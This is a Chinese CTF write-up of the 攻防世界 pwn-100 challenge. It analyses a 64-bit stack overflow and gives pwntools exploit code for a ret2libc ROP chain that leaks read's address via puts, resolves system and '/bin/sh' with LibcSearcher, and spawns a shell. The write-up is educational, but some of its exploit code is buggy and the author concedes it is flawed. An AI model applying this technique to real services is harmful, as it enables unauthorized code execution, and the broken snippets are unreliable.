『攻防世界』:进阶区 | pwn-100

防护查看:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO //RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序为64位程序,我们知道x86都是靠栈来传递参数的而x64换了它顺序是rdi, rsi, rdx, rcx, r8, r9,如果多于6个参数才会用栈我们要先知道这个特性;程序还开启了NX保护。NX位(No execute bit)是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行。由于该保护方式的使用,直接向内存中写入shellcode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)

×ROP相关学习资料

将程序放入IDA中静态分析:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi

  setbuf(stdin, 0LL);
  v3 = stdout;
  setbuf(stdout, 0LL);
  sub_40068E(v3, 0LL);
  return 0LL;
}
main
int sub_40068E()
{
  char v1; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&v1, 200);
  return puts("bye~");
}
sub_40068E()
 1 __int64 __fastcall sub_40063D(__int64 a1, signed int a2)
 2 {
 3   __int64 result; // rax
 4   unsigned int i; // [rsp+1Ch] [rbp-4h]
 5 
 6   for ( i = 0; ; ++i )
 7   {
 8     result = i;
 9     if ( (signed int)i >= a2 )
10       break;
11     read(0, (void *)((signed int)i + a1), 1uLL);
12   }
13   return result;
14 }
sub_40063D

这个程序的漏洞就在于sub_40068E()函数中给v1开辟的空间0x40字节小于后面sub_40063D()函数对v1变量的写入大小200字节。这里可以利用达到栈溢出的目的。但是这题并没有这么简单,查便上下并没有发现可用的system函数和可用的参数:'/bin/sh'或是'$0'。能够利用的函数有puts和read.

那么可以通过puts泄露出read的真实地址,再使用LibcSearcher获取到libc,进而再利用libc和read的plt地址和暴露出的真实地址得到的offset即可以得到system函数地址和/bin/sh地址。关于libcsearcher的使用可以看我之前发的buu入群题。

exp思路:

 1 #coding:utf-8
 2 from pwn import *
 3 from LibcSearcher import *
 4 
 5 io = process("./pwn-100")
 6 elf = ELF("./pwn-100")
 7 
 8 read_got = elf.got['read'] 
 9 put_plt = elf.sym['puts']
10 main_addr = 0x4006B8
11 #ROPgadget --binary pwn-100 --only 'pop|ret'
12 pop_rdi_ret = 0x0400763
13 
14 payload = b'a'*0x48 
15 payload += p64(pop_rdi_ret)
16 payload += p64(read_got)
17 payload += p64(put_plt)
18 payload += p64(main_addr)
19 payload += 'a'*(0xC8-0x48-32)
20 
21 io.send(payload)
22 io.recvuntil('bye~
')
23 #read_addr = u64(a.recv(4)),这个程序为64位,接受地址可能会被/x00截断,所以引用老湿傅的接收方法。
24 #注意,这步重要,必须要去掉末尾的
符号27.
25 s = io.recv().split('
')[0]
26 #凑足长度8
27 for i in range(len(s),8):
28     s=s+'x00'
29 read_addr = u64(s)
30 #入群题有LibcSearcher函数的使用资料链接
31 libc = LibcSearcher("read",read_addr)
32 offset = read_addr - libc.dump('read')
33 #获取两个至关重要的地址
34 system_addr=libc.dump("system")+offset
35 binsh_addr=libc.dump("str_bin_sh")+offset
36 
37 payload='a'*0x48+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)+'a'*(0xC8-0x48-24)
38 io.send(payload)
39 io.interactive()
EXP_RAW

 改:这个exp好像还是有问题,会出现多个匹配的libc,而且不能够很好的使用libc中的system地址和str_bin_sh。这里的bin/sh就由我们写入到一个可读可写的内存块上(使用vmmap可以查看)

def stageone():
    payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(read_got)     #pop_rdi后紧接read_got,就把read_got传入了rdi,作为参数
    +p64(put_plt)+p64(pop_rdi)+p64(bss)     #上一行执行ret的时候就跳转到puts_plt,执行到现在就类似于执行了一个puts(read_got)
    +p64(pop_rsi_r15)+p64(7)+p64(0)+p64(readn)+p64(start)    #这一行也类似,上一行把bss的地址pop入rdi,然后把7pop入rsi,然后执行readn,就类似于执行了readn(bss,7)
    payload += "A"*(max_length-len(payload))    #这里就是填充
    io.send(payload)
    sleep(1)
    io.send("/bin/sh")        #payload送出去以后,会先puts,然后执行readn(bss,7),所以就要再送入/bin/sh字符串
    print io.recvuntil("bye~")
    return u64(io.recv()[1:-1].ljust(8,''))
补充

https://blog.csdn.net/weixin_42151611/article/details/91474574,这里有一个老湿傅的wp可以借鉴一下,但是还有一些堆栈平衡的问题需要自己去考虑一下。

原文地址:https://www.cnblogs.com/Zowie/p/13567945.html